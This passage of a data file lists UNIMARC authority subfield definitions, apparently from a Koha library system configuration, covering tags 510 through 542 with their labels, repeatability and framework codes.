liblibrarian: Additions to name or qualifier\n tab: 0\n tagfield: 510\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Number of Meeting and/or Part of Meeting\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Location of Meeting\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: e\n - authtypecode: TM\n isurl: ~\n liblibrarian: Date of meeting\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: f\n - authtypecode: TM\n isurl: ~\n liblibrarian: Rejected element\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: g\n - authtypecode: TM\n isurl: ~\n liblibrarian: Part of name other than entry element and rejected element\n repeatable: 0\n tab: 0\n tagfield: 510\n tagsubfield: h\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 510\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: ISNI\n tab: 0\n tagfield: 510\n tagsubfield: o\n - authtypecode: TM\n isurl: ~\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 510\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 510\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 510\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 0\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: Relator code\n tab: 0\n tagfield: 511\n tagsubfield: 4\n - authtypecode: TM\n isurl: ~\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 5\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 8\n - authtypecode: TM\n isurl: ~\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: CO\n isurl: ~\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subdivision\n tab: 0\n tagfield: 511\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Additions to name or qualifier\n tab: 0\n tagfield: 511\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Number of Meeting and/or Part of Meeting\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Location of Meeting\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: e\n - authtypecode: TM\n isurl: ~\n liblibrarian: Date of meeting\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: f\n - authtypecode: TM\n isurl: ~\n liblibrarian: Rejected element\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: g\n - authtypecode: TM\n isurl: ~\n liblibrarian: Part of name other than entry element and rejected element\n repeatable: 0\n tab: 0\n tagfield: 511\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 512\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: CO\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Subdivision\n tab: 0\n tagfield: 512\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Additions to name or qualifier\n tab: 0\n tagfield: 512\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Number of Meeting and/or Part of Meeting\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Location of Meeting\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Date of meeting\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Rejected element\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: g\n - authtypecode: TM\n liblibrarian: Part of name other than entry element and rejected element\n repeatable: 0\n tab: 0\n tagfield: 512\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part or role played\n tab: 0\n tagfield: 512\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: SNG\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 515\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 515\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 515\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 515\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 515\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 516\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 516\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 516\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 516\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 516\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 516\n tagsubfield: f\n - authtypecode: TM\n frameworkcode: PUB\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Currency\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Citation\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Size\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Iconography\n repeatable: 0\n tab: 0\n tagfield: 517\n tagsubfield: g\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 517\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 517\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 517\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 517\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 520\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: FAM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Family type\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Places\n tab: 0\n tagfield: 520\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 520\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 520\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: ISNI\n tab: 0\n tagfield: 520\n tagsubfield: o\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 520\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 520\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 520\n tagsubfield: z\n - authtypecode: TM\n frameworkcode: FAM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 521\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: FAM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 521\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 522\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: FAM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 522\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Part or role played\n tab: 0\n tagfield: 522\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 523\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: 9\n - authtypecode: TM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Other part of the name\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Additional information\n repeatable: 0\n tab: 0\n tagfield: 523\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 0\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 5\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 8\n - authtypecode: TM\n isurl: ~\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: TU\n isurl: ~\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: General material designation\n tab: 0\n tagfield: 530\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 530\n tagsubfield: h\n - authtypecode: TM\n isurl: ~\n liblibrarian: Name of Section or Part\n tab: 0\n tagfield: 530\n tagsubfield: i\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 530\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Publication date\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: k\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subheading\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: l\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language (when Part of Heading)\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: m\n - authtypecode: TM\n isurl: ~\n liblibrarian: Miscellaneous information\n tab: 0\n tagfield: 530\n tagsubfield: n\n - authtypecode: TM\n isurl: ~\n liblibrarian: Version (or Date of Version)\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: q\n - authtypecode: TM\n isurl: ~\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 530\n tagsubfield: r\n - authtypecode: TM\n isurl: ~\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 530\n tagsubfield: s\n - authtypecode: TM\n isurl: ~\n liblibrarian: Key (for Music)\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: u\n - authtypecode: TM\n isurl: ~\n liblibrarian: Arranged Statement (for Music)\n repeatable: 0\n tab: 0\n tagfield: 530\n tagsubfield: w\n - authtypecode: TM\n isurl: ~\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 530\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 530\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 530\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 531\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 531\n tagsubfield: 8\n - authtypecode: TM\n frameworkcode: WORK\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 531\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 531\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 531\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 531\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 531\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 531\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 531\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 531\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 531\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 531\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 531\n tagsubfield: s\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 531\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 531\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 531\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: 8\n - authtypecode: TM\n frameworkcode: EXP\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 532\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 532\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 532\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 532\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 532\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Language of expression\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: m\n - authtypecode: TM\n liblibrarian: Content type (expression)\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: n\n - authtypecode: TM\n liblibrarian: Date of the expression\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: o\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 532\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 532\n tagsubfield: s\n - authtypecode: TM\n liblibrarian: Expression support (for music)\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: v\n - authtypecode: TM\n liblibrarian: Other characteristics (expression)\n repeatable: 0\n tab: 0\n tagfield: 532\n tagsubfield: w\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 532\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 532\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 532\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 0\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 5\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 8\n - authtypecode: TM\n isurl: ~\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: SAUTTIT\n isurl: ~\n liblibrarian: Author\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 540\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 540\n tagsubfield: t\n - authtypecode: TM\n isurl: ~\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 540\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 540\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 540\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NTWORK\n liblibrarian: Name\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 541\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 541\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 541\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 541\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 541\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 541\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 541\n tagsubfield: s\n - authtypecode: TM\n frameworkcode: NTWORK\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 541\n tagsubfield: t\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 541\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 541\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 541\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: 8\n - authtypecode: TM\n frameworkcode: NTEXP\n liblibrarian: Name\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 542\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or 